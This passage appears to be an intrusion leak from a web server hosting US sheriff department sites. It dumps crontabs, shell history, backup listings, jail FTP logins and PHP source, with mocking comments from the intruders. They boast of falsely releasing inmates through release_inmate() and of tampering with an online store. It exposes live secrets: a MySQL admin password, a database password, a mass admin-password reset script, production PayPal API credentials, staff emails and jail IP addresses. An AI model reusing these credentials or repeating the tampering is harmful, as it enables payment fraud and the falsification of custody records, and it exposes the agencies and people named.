  1696. /var/www/vhosts/boonesheriff.com/httpdocs/admin/modules/inmate_roster/publish.
  1697. php >/dev/null 2>&1
  1698. 0       10      *       *       *       /usr/bin/php
  1699. /var/www/vhosts/prattcountysheriff.com/httpdocs/admin/modules/inmate_roster/
  1700. publish.php >/dev/null 2>&1
  1701. 25      6       *       *       *       /usr/bin/php
  1702. /var/www/vhosts/jocomosheriff.org/httpdocs/admin/modules/inmate_roster/publish.
  1703. php >/dev/null 2>&1
  1704. 40      6       *       *       *       /usr/bin/php
  1705. /var/www/vhosts/jeffersoncountykssheriff.com/httpdocs/admin/modules/
  1706. inmate_roster/publish.php >/dev/null 2>&1
  1707. 50      6       *       *       *       /usr/bin/php
  1708. /var/www/vhosts/jonesso.com/httpdocs/admin/modules/inmate_roster/publish.php
  1709. >/dev/null 2>&1
  1710. 50      5       *       *       *       /usr/bin/php
  1711. /var/www/vhosts/stfranciscountysheriff.org/httpdocs/admin/modules/inmate_roster/
  1712. publish.php >/dev/null 2>&1
  1713. 0       2       *       *       *       /usr/bin/php
  1714. /var/www/vhosts/marionsoal.com/httpdocs/admin/modules/inmate_roster/cron/cron.
  1715. php
  1716. 40      1       *       *       *       /usr/bin/find /var/www/vhosts/ -mtime -1
  1717. | /bin/grep -v statistics | /bin/grep -v counter 2>&1 | perl -wple 'BEGIN{print
  1718. "Changed Web Files - New GoDaddy"}'| mail -s "Changed Web Files - GoDaddy" -c
  1719. bnewman@bjmweb.com -c galexander@bjmweb.com -c markm@bjmweb.com root
  1720. 0       *       *       *       *       /usr/bin/find
  1721. /var/www/vhosts/*/httpdocs/uploads/*.php | grep -v -e
  1722. "watermark_wanted_photo.php" -e "checkimages.php" | mail -s "Go Daddy - Upload
  1723. Scanner" -c galexander@bjmweb.com -c markm@bjmweb.com -c bnewman@bjmweb.com root
  1724. 0       1       *       *       *       /backup/mail_logs/parse_mail_log.sh
  1725.         1       0       *       *       *       /usr/bin/php
  1726. /var/www/vhosts/grantcountyar.com/httpdocs/cron/purge_events.php
  1727.         1       0       *       *       *       /usr/bin/php
  1728. /var/www/vhosts/crosscountyar.org/httpdocs/cron/purge_events.php
  1729.         1       0       *       *       *       /usr/bin/php
  1730. /var/www/vhosts/izardhometownhealth.com/httpdocs/cron/purge_events.php
  1731.         1       0       *       *       *       /usr/bin/php
  1732. /var/www/vhosts/crosscountysheriff.org/httpdocs/cron/purge_events.php
  1733.         1       0       *       *       *       /usr/bin/php
  1734. /var/www/vhosts/cityofwynne.com/httpdocs/cron/purge_events.php
  1735.         1       0       *       *       *       /usr/bin/php
  1736. /var/www/vhosts/boonecountyar.com/httpdocs/cron/purge_events.php
  1737.         1       0       *       *       *       /usr/bin/php
  1738. /var/www/vhosts/barrycountysheriff.com/httpdocs/cron/purge_wanted.php
  1739.         1       0       *       *       *       /usr/bin/php
  1740. /var/www/vhosts/izardcountyar.org/httpdocs/cron/purge_events.php
  1741.         1       0       *       *       *       /usr/bin/php
  1742. /var/www/vhosts/mosheriffs.com/httpdocs/cron/cron.php
  1743.         1       0       *       *       *       /usr/bin/php
  1744. /var/www/vhosts/stfranciscountysheriff.org/httpdocs/cron/purge_events.php
  1745.         1       0       *       *       *       /usr/bin/php
  1746. /var/www/vhosts/knoxcountysheriffil.com/httpdocs/cron/purge_events.php
  1747. */2     *       *       *       *       /usr/bin/php
  1748. /var/www/vhosts/gra_upload_scanner.php >/dev/null 2>&1
  1749. 0      1       *       *       *      
  1750. /var/www/vhosts/mostwantedwebsites.net/subdomains/code/httpdocs/search/cron.sh
  1751. >/dev/null
  1752. #
  1753. # BCSD Site Search Cron
  1754. 0      1       *       *       *        cd
  1755. /var/www/vhosts/baxtercountysheriff.com/httpdocs/search/admin/ && /usr/bin/php
  1756. /var/www/vhosts/baxtercountysheriff.com/httpdocs/search/admin/spider.php -u
  1757. http://baxtercountysheriff.com/ -r -n
  1758. http://baxtercountysheriff.com/warrants.php?find=all >/dev/null 2>&1
  1759. #
  1760. # CRCSD Site Search Cron
  1761. 5      1       *       *       *        cd
  1762. /var/www/vhosts/crosscountysheriff.org/httpdocs/search/admin/ && /usr/bin/php
  1763. /var/www/vhosts/crosscountysheriff.org/httpdocs/search/admin/spider.php -u
  1764. http://crosscountysheriff.org/ -r -n
  1765. http://crosscountysheriff.org/warrants.php?find=all >/dev/null 2>&1
  1766. #
  1767. #
  1768. # MCSD Site Search Cron
  1769. 10      1       *       *       *        cd
  1770. /var/www/vhosts/marioncountysheriffar.com/httpdocs/search/admin/ && /usr/bin/php
  1771. /var/www/vhosts/marioncountysheriffar.com/httpdocs/search/admin/spider.php -u
  1772. http://marioncountysheriffar.com/ -r -n
  1773. http://marioncountysheriffar.com/warrants.php?find=all >/dev/null 2>&1
  1774. #
  1775. #
  1776. # SFSOAR Site Search Cron
  1777. 15      1       *       *       *        cd
  1778. /var/www/vhosts/stfranciscountysheriff.org/httpdocs/search/admin/ &&
  1779. /usr/bin/php
  1780. /var/www/vhosts/stfranciscountysheriff.org/httpdocs/search/admin/spider.php -u
  1781. http://stfranciscountysheriff.org/ -r -n
  1782. http://stfranciscountysheriff.org/warrants.php?find=all >/dev/null 2>&1
  1783. #
  1784. #
  1785. # GCSOMS Site Search Cron
  1786. 0      1       *       *       *        cd
  1787. /var/www/vhosts/georgecountymssheriff.com/httpdocs/search/admin/ && /usr/bin/php
  1788. /var/www/vhosts/georgecountymssheriff.com/httpdocs/search/admin/spider.php -u
  1789. http://georgecountymssheriff.com/ -r -n
  1790. http://georgecountymssheriff.com/warrants.php?find=all >/dev/null 2>&1
  1791. #
  1792. #
  1793. # CPSOLA Site Search Cron
  1794. 0      1       *       *       *        cd
  1795. /var/www/vhosts/cameronso.org/httpdocs/search/admin/ && /usr/bin/php
  1796. /var/www/vhosts/cameronso.org/httpdocs/search/admin/spider.php -u
  1797. http://cameronso.org/ -r -n http://cameronso.org/warrants.php?find=all
  1798. >/dev/null 2>&1
  1799. #
  1800. #
  1801. # MCSOGA Site Search Cron
  1802. 0      1       *       *       *        cd
  1803. /var/www/vhosts/meriwethercountysheriff.org/httpdocs/search/admin/ &&
  1804. /usr/bin/php
  1805. /var/www/vhosts/meriwethercountysheriff.org/httpdocs/search/admin/spider.php -u
  1806. http://meriwethercountysheriff.org/ -r -n
  1807. http://meriwethercountysheriff.org/warrants.php?find=all >/dev/null 2>&1
  1808. #
  1809. 47      23      *       *       *       /usr/sbin/ntpdate -b -s time.nist.gov
  1810. #!/bin/sh
  1811.  
  1812. PASSWORD=`cat /etc/psa/.psa.shadow`
  1813.  
  1814. mysqldump -u  admin -p$PASSWORD --all-databases --add-drop-table |gzip -v9 >
  1815. /root/mysql_backup.sql.gz
  1816. #!/bin/bash
  1817. #
  1818. # Scan for PHP in upload folders
  1819. #
  1820. MAILTO="-c galexander@bjmweb.com -c markm@bjmweb.com -c bnewman@bjmweb.com root"
  1821. EXCLUDES="-e watermark_wanted_photo.php -e checkimages.php -e
  1822. watermark_recalled_photo.php"
  1823. lineify (){
  1824. for i in $*
  1825. do
  1826.   echo $i
  1827. done
  1828. }
  1829. # testing
  1830. #EXCLUDES="numnum"
  1831. #MAILTO="jwiegand@bjmweb.com"
  1832. #
  1833. UHOH=$(/usr/bin/find /var/www/vhosts/*/httpdocs/uploads/*.php | \
  1834.         grep -v $EXCLUDES)
  1835. if [ "${UHOH}xx" != "xx" ]
  1836. then
  1837.         lineify $UHOH |  mail -s "Go Daddy - Upload Scanner" $MAILTO
  1838. fi
  1839.  
  1840.  
  1841. // HARDCODED MYSQL ROOT PASSWORDS... THE SIGN OF ANY SECURE SYSADMIN
  1842.  
  1843. # cat ~root/MASS_PASS/masspass.php
  1844.  
  1845. <?php
  1846. error_reporting(0);
  1847. if(php_sapi_name() == 'cli' && empty($_SERVER['REMOTE_ADDR'])) {
  1848. echo md5('Y9BNtSeb').PHP_EOL;
  1849.         //custom safe_query, should work like normal, just allows passing of custom
  1850. connect
  1851.         function safe_query($q, $u='', $p='', $d='', $s='localhost'){
  1852.                 $l = mysql_connect($s,$u,$p) or die("ERROR: Could not connect with USER:
  1853. $u PASS: $p ".PHP_EOL.mysql_error);
  1854.                 if($d != ''){
  1855.                         mysql_select_db($d,$l) or die("ERROR: Could not select DATABASE:
  1856. $d".PHP_EOL);
  1857.                 }
  1858.                 $r = mysql_query($q,$l)/* or die("ERROR: Could not execute QUERY: $q
  1859. ".PHP_EOL.mysql_error()) */;
  1860.                 return $r;
  1861.         }
  1862.  
  1863.         $GD_USER = 'admin';
  1864.         $GD_PASS = '8w667nHzx%XFXb';
  1865.         $GD_SERV = 'localhost';
  1866.  
  1867.         $options = getopt("n::o::");
  1868.  
  1869.         $query = 'SHOW DATABASES';
  1870.  
  1871.         $result = safe_query($query, $GD_USER, $GD_PASS, '', $GD_SERV);
  1872.  
  1873.         while($row = mysql_fetch_array($result,MYSQL_NUM)){
  1874.  
  1875.                 $query = 'SELECT password FROM dymin_user WHERE username = "bjm"';
  1876.                 $r = safe_query($query, $GD_USER, $GD_PASS, $row[0], $GD_SERV);
  1877.                 echo $row[0].' - '.mysql_result($r,0,'password').PHP_EOL;
  1878.                 if(isset($options['n']) && isset($options['o'])){
  1879.                         //echo 'UPDATE dymin_user SET password =
  1880. "'.mysql_escape_string($options['n']).'" WHERE username = "bjm" AND password =
  1881. "'.mysql_escape_string($options['o']).'"'.PHP_EOL;
  1882.                         safe_query('UPDATE dymin_user SET password =
  1883. "'.mysql_escape_string($options['n']).'" WHERE username = "bjm" AND password =
  1884. "'.mysql_escape_string($options['o']).'"', $GD_USER, $GD_PASS, '', $GD_SERV);
  1885.                 }
  1886.         }
  1887.  
  1888. }else{
  1889.         echo 'This script can only be ran from the command line!'.PHP_EOL;
  1890.         exit();
  1891. }
  1892. ?>
  1893.  
  1894. // GOTTA MAKE SURE TO RM -RF THIS PART FIRST
  1895.  
  1896. # ls -al /backup
  1897.  
  1898. total 318424
  1899. drwxr-xr-x  9 root root      4096 Jul 14 11:30 .
  1900. drwxr-xr-x 26 root root      4096 Feb 22 22:21 ..
  1901. -rw-r--r--  1 root root     17015 Jul 14  2010 ActiveWarrantsList.txt.back
  1902. -rw-r--r--  1 root root       175 May 12 09:36 BCSD_PARSE_XML
  1903. drwxrwxrwx  2 root root      4096 Jun 29 18:23 BOCS_WARRANTS
  1904. drwxrwxrwx  2 root root      4096 Jun 29 18:24 CRCSD_WARRANTS
  1905. -rwxrwxrwx  1 root root  20852332 Jul 22 22:20 JONMS_INMATE_ROSTER.log
  1906. -rw-r--r--  1 root root     90737 Mar  2 08:50 JONMS_INMATE_ROSTER.log.2.gz
  1907. -rwxrwxrwx  1 root root    324196 Feb  7 09:20 JONMS_INMATE_ROSTER.log.gz
  1908. -rwxrwxrwx  1 root root    286813 Oct 28  2010 JONMS_INMATE_ROSTER.log.gz.0
  1909. -rwxrwxrwx  1 root root     88758 Aug 10  2010 JONMS_INMATE_ROSTER.log.gz.1
  1910. -rw-r--r--  1 root root  13864960 Apr 21 08:19 POALAC04212011.tar
  1911. -rw-r--r--  1 root root  10833920 Mar  7 16:53 POALAC_BACKUP.tar
  1912. -rw-r--r--  1 root root  13864960 Apr 20 16:09 POALAC_BACKUP_04202011.tar
  1913. drwxrwxrwx  2 root root      4096 Jun 29 18:24 SFSOAR_WARRANTS
  1914. -rw-r--r--  1 root root  68177920 May  3 09:47 arsa.05032011.tar
  1915. drwxr-xr-x  3 root root      4096 Apr 21 11:06 bcsd
  1916. -rw-r--r--  1 root root  55494137 Jul 22 22:20 crcsd_query_log.txt
  1917. -rw-r--r--  1 root root   1080247 Apr  7 13:05 crcsd_query_log.txt.04072011.gz
  1918. -rwxrwxrwx  1 root root   4181055 Feb  7 09:25 crcsd_query_log.txt.gz
  1919. -rw-r--r--  1 root root 116504777 Jul 22 22:15 jcsoks_inamte_parse_log.txt
  1920. -rw-r--r--  1 root root    527887 Apr  7 13:00
  1921. jcsoks_inamte_parse_log.txt.04072011.gz
  1922. -rwxrwxrwx  1 root root   1568892 Feb  7 09:15 jcsoks_inamte_parse_log.txt.gz
  1923. -rw-r--r--  1 root root    411831 Sep 13  2010 jcsoks_inamte_parse_log.txt.gz.0
  1924. -rwxrwxrwx  1 root root    736089 Feb  8 13:44 jcsoks_query_log.txt.gz
  1925. -rw-r--r--  1 root root  12029931 Jul 22 22:20 johms_parse_log.txt
  1926. -rw-r--r--  1 root root     52276 Jun 14 13:30 johms_parse_log.txt.06142011.gz
  1927. -rw-r--r--  1 root root     24206 Mar 18 10:55 johms_parse_log.txt.gz
  1928. drwxr-xr-x  2 root root      4096 Jul 22 01:00 mail_logs
  1929. drwxr-xr-x  4 root root      4096 Jul  6  2010 parse_logs
  1930. drwx------ 13 root root      4096 Feb 23 00:50 snapshots
  1931. -rw-r--r--  1 root root   3680191 Jul 22 22:21 stoms_parse_log.txt
  1932. -rw-r--r--  1 root root    890880 Mar  2 09:18 z
  1933.  
  1934.  
  1935. // NOW THIS LOOKS INTERESTING
  1936. // YOU BETTER BELIEVE WE CALLED release_inmate() MORE THAN A FEW TIMES
  1937.  
  1938. # cat /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  1939.  
  1940. <?
  1941.         if(date('d') == '1'  && date('H') < '2'){
  1942.                 shell_exec('rm /backup/johms_parse_log.txt');
  1943.         }
  1944.  
  1945.         function safe_query($query){
  1946.                 $link = mysql_connect('localhost','johms','4smhoj2');
  1947.                 mysql_select_db('JOHMS',$link);
  1948.                 return mysql_query($query,$link);
  1949.         }
  1950.         function parse_csv($filename,$target_table,$field_map){
  1951.                 $file = file($filename);
  1952.                 $inmates = array();
  1953.                 foreach($file as $line_num => $line_data){
  1954.                         $query = 'INSERT INTO '.$target_table.' SET ';
  1955.                         $line_data = explode(',',$line_data);
  1956.                         $i=0;
  1957.                         $inmates[] = $line_data[0];
  1958.                         foreach($field_map as $field_num => $db_field){
  1959.                                 if($db_field == 'booking_date'){
  1960.                                         $line_data[$field_num] =
  1961. date('Y-m-d',strtotime($line_data[$field_num])).'", booking_time =
  1962. "'.substr($line_data[$field_num],-8).'';
  1963.                                         //echo $line_data[$field_num],PHP_EOL;
  1964.                                 }
  1965.                                 if($i != 0){
  1966.                                         $query .= ', '.$db_field.' = "'.$line_data[$field_num].'"';
  1967.                                 }else{
  1968.                                         $query .= $db_field.' = "'.$line_data[$field_num].'"';
  1969.                                 }
  1970.                         $i++;
  1971.                         }
  1972.                         //echo $query,PHP_EOL;
  1973.  
  1974.                         safe_query($query);
  1975.                         unset($query);
  1976.                 }
  1977.         return $inmates;
  1978.         }
  1979.  
  1980.         function release_inmate($booking_num){
  1981.                 $date = date("Y-m-d");
  1982.                 $time = date("Hi");
  1983.                 $query = "update dymin_jail_roster set release_date = '$date',
  1984. release_time = '$time' where booking_num = '$booking_num'";
  1985.                 safe_query($query);
  1986.         }
  1987.  
  1988.         function is_in_jail($booking_number){
  1989.                 $query = "select booking_num from dymin_jail_roster where booking_num =
  1990. '$booking_number'";
  1991.                 $result = safe_query($query);
  1992.                 $num = mysql_num_rows($result);
  1993.                 if($num == ''){return false;}else{return true;}
  1994.         }
  1995.  
  1996.         function build_old_inmates(){
  1997.                 $inmates = array();
  1998.                 $r = safe_query('SELECT * FROM dymin_jail_roster WHERE release_date =
  1999. ""');
  2000.                 while($row = mysql_fetch_array($r)){
  2001.                         $inmates[] = $row['booking_num'];
  2002.                 }
  2003.         return $inmates;
  2004.         }
  2005.  
  2006.         function build_new_inmates(){
  2007.                 $inmates = array();
  2008.                 $file =
  2009. file('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt');
  2010.                 foreach($file as $line => $data){
  2011.                         $inmates[] = array_shift(explode(',',$data));
  2012.                 }
  2013.                 if(sizeof($inmates)<1){
  2014.                         echo PHP_EOL,date('m/d/Y H:i:s'),' -- Roster File was
  2015. Empty',PHP_EOL;
  2016.                         die();
  2017.                 }
  2018.         return $inmates;
  2019.         }
  2020.  
  2021.         function remove_old_inmates(){
  2022.                 $now = time();
  2023.                 $forty_eight_hours_ago = date('Y-m-d', mktime(0, 0, 0, date("m", $now)
  2024. , date("d", $now)-2, date("Y", $now)));
  2025.                 $query = "select booking_num, image1 from dymin_jail_roster where
  2026. release_date <= '$forty_eight_hours_ago' and release_date != ''";
  2027.                 $result = safe_query($query);
  2028.                 while($row = mysql_fetch_array($result,MYSQL_ASSOC)){
  2029.                         shell_exec('rm -f
  2030. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$row['image1
  2031. ']);
  2032.                         $query_charges = 'delete from dymin_jail_roster_charges where
  2033. booking_num = "'.$row['booking_num'].'"';
  2034.                         safe_query($query_charges);
  2035.                         $query_inmate = 'delete from dymin_jail_roster where booking_num =
  2036. "'.$row['booking_num'].'"';
  2037.                         safe_query($query_inmate);
  2038.                 }
  2039.         }
  2040.  
  2041.         $field_map[0] = 'booking_num';
  2042.         $field_map[2] = 'age';
  2043.         $field_map[3] = 'gender';
  2044.         $field_map[4] = 'race';
  2045.         $field_map[5] = 'first_name';
  2046.         $field_map[6] = 'middle_name';
  2047.         $field_map[7] = 'last_name';
  2048.         $field_map[8] = 'booking_date';
  2049.         $field_map[9] = 'arresting_agency';
  2050.         $field_map[10] = 'image1';
  2051.         if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt')
  2052. && filesize('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt') !=
  2053. '4096'){
  2054.                 $OLDinmates = build_old_inmates();
  2055.                 $NEWinmates = build_new_inmates();
  2056.                 //print_r($OLDinmates);
  2057.                 foreach($OLDinmates as $key => $booking_number){
  2058.                         if(!in_array($booking_number,$NEWinmates)){
  2059.                                 echo $booking_number,PHP_EOL;
  2060.                                 print_r($NEWinmates);
  2061.                                 echo PHP_EOL;
  2062.                                 release_inmate($booking_number);
  2063.                         }
  2064.                 }
  2065.                 safe_query('DELETE FROM dymin_jail_roster WHERE release_date = ""');
  2066.                 parse_csv('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.
  2067. txt','dymin_jail_roster',$field_map);
  2068.         }
  2069.         unset($field_map);
  2070.         $field_map[0] = 'booking_num';
  2071.         $field_map[1] = 'charge';
  2072.         $field_map[2] = 'bond';
  2073.  
  2074.         if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/
  2075. RosterChargesExport.txt')){
  2076.                 safe_query('DELETE FROM dymin_jail_roster_charges');
  2077.                 safe_query('UPDATE dymin_jail_roster SET charges = "" WHERE release_date
  2078. = ""');
  2079.                 parse_csv('/var/www/vhosts/jocomosheriff.org/home/Export/
  2080. RosterChargesExport.txt','dymin_jail_roster_charges',$field_map);
  2081.  
  2082.  
  2083.                 $q = 'SELECT * FROM dymin_jail_roster_charges';
  2084.                 $r = safe_query($q);
  2085.  
  2086.                 while($row = mysql_fetch_array($r)){
  2087.                         $q = 'UPDATE dymin_jail_roster SET charges =
  2088. CONCAT(charges,"'.$row['charge'].'<br>") WHERE release_date = "" AND booking_num
  2089. = "'.$row['booking_num'].'"';
  2090.                         safe_query($q);
  2091.                         //echo $q,PHP_EOL;
  2092.                 }
  2093.  
  2094.                 $q = 'SELECT * FROM dymin_jail_roster';
  2095.                 $r = safe_query($q);
  2096.  
  2097.                 while($row = mysql_fetch_array($r,MYSQL_ASSOC)){
  2098.                         $q = 'UPDATE dymin_jail_roster SET bond = (SELECT sum(bond) FROM
  2099. dymin_jail_roster_charges WHERE booking_num = "'.$row['booking_num'].'") WHERE
  2100. booking_num = "'.$row['booking_num'].'" AND release_date = ""';
  2101.                         safe_query($q);
  2102.                         //echo $q,PHP_EOL;
  2103.                 }
  2104.         }
  2105.         remove_old_inmates();
  2106.  
  2107.         if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt')
  2108. ){
  2109.     $file = '/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt';
  2110.                 $newfile =
  2111. '/var/www/vhosts/jocomosheriff.org/home/export_backup/RosterExport_'.date('
  2112. Y_m_d_His').'.txt';
  2113.                 if (!copy($file, $newfile)) {
  2114.                         echo "failed to copy $file...\n";
  2115.                 }else{
  2116.                         unlink('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.
  2117. txt');
  2118.                         if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/
  2119. RosterChargesExport.txt')){
  2120.                 unlink('/var/www/vhosts/jocomosheriff.org/home/Export/
  2121. RosterChargesExport.txt');
  2122.                 }
  2123.                 }
  2124.   }
  2125.         //shell_exec('cp -rpufT
  2126. /var/www/vhosts/jocomosheriff.org/home/Export/Images/
  2127. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/');
  2128.         //shell_exec('mogrify -resize 200x200
  2129. /var/www/vhosts/jocomosheriff.org/home/Export/Images/*.jpg');
  2130.         //shell_exec('mogrify -resize 200x200
  2131. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/*.jpg');
  2132.         shell_exec('chmod -R 777
  2133. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/');
  2134.         shell_exec('chown -R root:root
  2135. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized');
  2136.         $files = scandir('/var/www/vhosts/jocomosheriff.org/home/Export/Images/');
  2137.         foreach($files as $k => $v){
  2138.                 if(strpos($v,'.JPG') !== false || strpos($v,'.jpg') !== false){
  2139.                         $q = 'SELECT * FROM dymin_jail_roster WHERE image1 LIKE "%'.$v.'%"';
  2140.                         if(mysql_num_rows(safe_query($q)) > 0){
  2141.                                 if(!is_file('/var/www/vhosts/jocomosheriff.org/httpdocs/images/
  2142. inmates/resized/'.$v)){
  2143.                                         shell_exec('cp -rpufT
  2144. /var/www/vhosts/jocomosheriff.org/home/Export/Images/'.$v.'
  2145. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v);
  2146.                                         echo 'Copied -
  2147. '.'/var/www/vhosts/jocomosheriff.org/home/Export/Images/'.$v.' TO
  2148. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v.PHP_EOL;
  2149.                                 }
  2150.                         }else{
  2151.                                 //do nothing for now
  2152.                         }
  2153.                 }
  2154.                 //echo $v.'<br>';
  2155.         }
  2156.         $files =
  2157. scandir('/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/');
  2158.   foreach($files as $k => $v){
  2159.     if(strpos($v,'.JPG') !== false || strpos($v,'.jpg') !== false){
  2160.       $q = 'SELECT * FROM dymin_jail_roster WHERE image1 LIKE "%'.$v.'%"';
  2161.       if(mysql_num_rows(safe_query($q)) > 0){
  2162.         echo $v.' - Valid Image'.PHP_EOL;
  2163.                                 shell_exec('mogrify -resize 200x200
  2164. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v);
  2165.       }else{
  2166.         //shell_exec('rm -f
  2167. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v);
  2168.                                 //shell_exec('rm -f
  2169. /var/www/vhosts/jocomosheriff.org/home/Export/'.$v);
  2170.                                 echo 'Removing - '.$v.PHP_EOL;
  2171.       }
  2172.     }
  2173.     //echo $v.'<br>';
  2174.   }
  2175.         echo PHP_EOL,date('m/d/Y H:i:s'),' -- Finished',PHP_EOL;
  2176. ?>
  2177.  
  2178.  
  2179.  
  2180. # last > last.txt; wc last.txt
  2181.   78726  787247 6061786 last.txt
  2182.  
  2183. // WHY YES THESE ARE JAIL IPS SYNCING THEIR INMATE ROSTER FILES TO THE WEB
  2184.  
  2185. # head -n 5 last.txt
  2186. jonms_sy ftpd8479     173.166.203.165  Sat Jul 23 14:43 - 14:43  (00:00)
  2187. pcsoks_s ftpd8064     24.248.200.101   Sat Jul 23 14:40 - 14:40  (00:00)
  2188. pcsoks_s ftpd8056     24.248.200.101   Sat Jul 23 14:40 - 14:40  (00:00)
  2189. pcsoks_s ftpd8054     24.248.200.101   Sat Jul 23 14:40 - 14:40  (00:00)
  2190. jonms_sy ftpd3730     173.166.203.165  Sat Jul 23 14:28 - 14:28  (00:00)
  2191.  
  2192. // JUST IN CASE ANYONE WANTED TO PLAY WITH THEIR ONLINE STORE. WE SURE DID
  2193.  
  2194. # cat /var/www/vhosts/mosheriffs.com/httpdocs/checkout/constants.php
  2195.  
  2196. <?php
  2197.  
  2198. define('API_TEST_MODE',false);
  2199.  
  2200. /****************************************************
  2201. constants.php
  2202.  
  2203. This is the configuration file for the samples.This file
  2204. defines the parameters needed to make an API call.
  2205.  
  2206. PayPal includes the following API Signature for making API
  2207. calls to the PayPal sandbox:
  2208.  
  2209. API Username    sdk-three_api1.sdk.com
  2210. API Password    QFZCWN5HZM8VBG7Q
  2211. API Signature   A-IzJhZZjhg29XQ2qnhapuwxIDzyAZQ92FRP5dqBzVesOkzbdUONzmOU
  2212.  
  2213. Called by CallerService.php.
  2214. ****************************************************/
  2215.  
  2216. /**
  2217. # API user: The user that is identified as making the call. you can
  2218. # also use your own API username that you created on PayPal�s sandbox
  2219. # or the PayPal live site
  2220. */
  2221.  
  2222. if(!API_TEST_MODE){
  2223.         define('API_USERNAME', 'info_api1.mosheriffs.com');
  2224. }else{
  2225.         define('API_USERNAME', 'galexa_1252510976_biz_api1.bjmweb.com');
  2226. }
  2227. /**
  2228. # API_password: The password associated with the API user
  2229. # If you are using your own API username, enter the API password that
  2230. # was generated by PayPal below
  2231. # IMPORTANT - HAVING YOUR API PASSWORD INCLUDED IN THE MANNER IS NOT
  2232. # SECURE, AND ITS ONLY BEING SHOWN THIS WAY FOR TESTING PURPOSES
  2233. */
  2234.  
  2235. if(!API_TEST_MODE){
  2236.         define('API_PASSWORD', 'X376UUNKW9C665M5');
  2237. }else{
  2238.         define('API_PASSWORD', '1252510985');
  2239. }
  2240. /**
  2241. # API_Signature:The Signature associated with the API user. which is generated
  2242. by paypal.
  2243. */
  2244.  
  2245. if(!API_TEST_MODE){
  2246.         define('API_SIGNATURE',
  2247. 'AJabrMjdeOUS3ztu4b5tguA358YTAyJmntUHr637CjsXE1pjKGM9MsOH');
  2248. }else{
  2249.         define('API_SIGNATURE',
  2250. 'AFcWxV21C7fd0v3bYYYRCpSSRl31AmSHW7t6qw42Zz2AE42uyKKvCZBA');
  2251. }
  2252. /**
  2253. # Endpoint: this is the server URL which you have to connect for submitting your
  2254. API request.
  2255. */
  2256.  
  2257. if(!API_TEST_MODE){
  2258.         define('API_ENDPOINT', 'https://api-3t.paypal.com/nvp');
  2259. }else{
  2260.         define('API_ENDPOINT', 'https://api-3t.sandbox.paypal.com/nvp');
  2261. }
  2262. /**
  2263. USE_PROXY: Set this variable to TRUE to route all the API requests through
  2264. proxy.
  2265. like define('USE_PROXY',TRUE);
  2266. */
  2267. define('USE_PROXY',FALSE);
  2268. /**
  2269. PROXY_HOST: Set the host name or the IP address of proxy server.
  2270. PROXY_PORT: Set proxy port.
  2271.  
  2272. PROXY_HOST and PROXY_PORT will be read only if USE_PROXY is set to TRUE
  2273. */
  2274. define('PROXY_HOST', '127.0.0.1');
  2275. define('PROXY_PORT', '808');
  2276.  
  2277. /* Define the PayPal URL. This is the URL that the buyer is
  2278.    first sent to to authorize payment with their paypal account
  2279.    change the URL depending if you are testing on the sandbox
  2280.    or going to the live PayPal site
  2281.    For the sandbox, the URL is
  2282.    https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token=
  2283.    For the live site, the URL is
  2284.    https://www.paypal.com/webscr&cmd=_express-checkout&token=
  2285.    */
  2286.  
  2287. define('PAYPAL_URL',
  2288. 'https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token=');
  2289.  
  2290. /**
  2291. # Version: this is the API version in the request.
  2292. # It is a mandatory parameter for each API request.
  2293. # The only supported value at this time is 2.3
  2294. */
  2295.  
  2296. define('VERSION', '59.0');
  2297.  
  2298. ?><?
  2299. session_start();
  2300. include "../config/header.php";
  2301. include "../admin/config/classes/training_academy.php";
  2302. $ta = new training_class('academy');
  2303. $page = new training_class('academy');
  2304. ?>
  2305.  
  2306.  
  2307. // HERE COMES THE BORING PART
  2308.  
  2309. # cat ~root/.bash_history
  2310.  
  2311.  
  2312. less
  2313. /var/www/vhosts/crosscountysheriff.org/httpdocs/admin/modules/warrants/classes/
  2314. warrant_parser.php
  2315. ll
  2316. cd /var/www/vhosts/stfranciscountysheriff.org/
  2317. ll
  2318. cd home/
  2319. ll
  2320. crontab  -l
  2321. crontab -l
  2322. /usr/bin/php /var/www/vhosts/stfranciscountysheriff.org/home/warrant_parser.php
  2323. ll
  2324. cd /var/log/
  2325. ll
  2326. less messages | grep 'sfsoar'
  2327. less messages | grep 'sf
  2328. '
  2329. less messages | grep 'stfrancis'
  2330. less messages | grep '16610'
  2331. less messages | grep 'Cross County'
  2332. less messages | grep 'crosscounty'
  2333. less messages | grep 'stfrancis'
  2334. less messages | grep 'boonesheriff'
  2335. l
  2336. ll
  2337. less secure | grep 'sfsoar'
  2338. cd /var/www/vhosts/crosscountysheriff.org/
  2339. cd home/
  2340. ll
  2341. cd Cross\ County/
  2342. ll
  2343. pwd
  2344. cd /var/sql_logs/
  2345. ll
  2346. ll -h
  2347. mkdir -m 755 backup
  2348. ll
  2349. gzip baxtercountysheriff.com
  2350. ll
  2351. gzip mosheriffs.com
  2352. ll
  2353. ll
  2354. mv mosheriffs.com.gz backup/
  2355. ll
  2356. mv baxtercountysheriff.com.gz backup/
  2357. ll
  2358. cd backup/
  2359. ll
  2360. ll -h
  2361. cd ..
  2362. ll
  2363. ll -h
  2364. ll
  2365. cd /var/www/vhosts/jocomosheriff.org/
  2366. cd home/
  2367. ll
  2368. ll
  2369. cd Export/
  2370. ll
  2371. cd Images/
  2372. ll
  2373. cd ..
